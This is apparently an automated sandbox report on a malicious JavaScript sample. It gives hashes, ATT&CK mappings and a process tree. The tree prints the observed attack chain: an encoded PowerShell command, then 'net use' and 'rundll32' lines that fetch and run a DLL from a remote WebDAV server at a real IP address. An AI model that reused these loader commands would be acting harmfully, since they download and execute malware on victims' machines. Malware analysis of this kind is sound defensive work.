4a2317a78749539a8bf0d1e134bd68f64a5e956dee9a12157028969949bb29c4

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18/10/2024, 01:39

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General

Target
4a2317a78749539a8bf0d1e134bd68f64a5e956dee9a12157028969949bb29c4.js
Size 172KB
Sample241018-b284csyfjd
SHA256 4a2317a78749539a8bf0d1e134bd68f64a5e956dee9a12157028969949bb29c4
MD5 d9418fe5d6f7fb65eed34cabf8663337
SHA1 11d9a4ed7b14d9a4e8b52fdebd88e67ea74d77ce
SHA512 f4ebb99a512c21356caa246f9ddc7b2c0bbc40e4e0f1dafdbd0d6dcfc13b05f4de09fc2776f1e7278177dd6805f6a207d2564b1384f548db4209274c7da8e3b1
SSDEEP 3072:NnKp0KIPoNFNxtTQ8qiLOlYomjizXudUKtIJSQ:c1IPoNxkKI
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4120	powershell.exe
4120	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3168 wrote to memory of 4120	3168	wscript.exe	84
PID 3168 wrote to memory of 4120	3168	wscript.exe	84
PID 4120 wrote to memory of 3424	4120	powershell.exe	86
PID 4120 wrote to memory of 3424	4120	powershell.exe	86
PID 4120 wrote to memory of 764	4120	powershell.exe	87
PID 4120 wrote to memory of 764	4120	powershell.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4a2317a78749539a8bf0d1e134bd68f64a5e956dee9a12157028969949bb29c4.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA1ADIAOAA3ADcANwAyADMAMQA5ADUAMQA0AC4AZABsAGwALABFAG4AdAByAHkA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.48@8888\davwwwroot\
    3⤵
    PID:3424
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\15287772319514.dll,Entry
    3⤵
    PID:764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_uwjifurv.x4w.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uwjifurv.x4w.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4120-0-0x00007FFE23A53000-0x00007FFE23A55000-memory.dmp

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memory/4120-1-0x0000020E9C630000-0x0000020E9C652000-memory.dmp

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memory/4120-11-0x00007FFE23A50000-0x00007FFE24511000-memory.dmp

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memory/4120-12-0x00007FFE23A50000-0x00007FFE24511000-memory.dmp

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memory/4120-15-0x00007FFE23A50000-0x00007FFE24511000-memory.dmp

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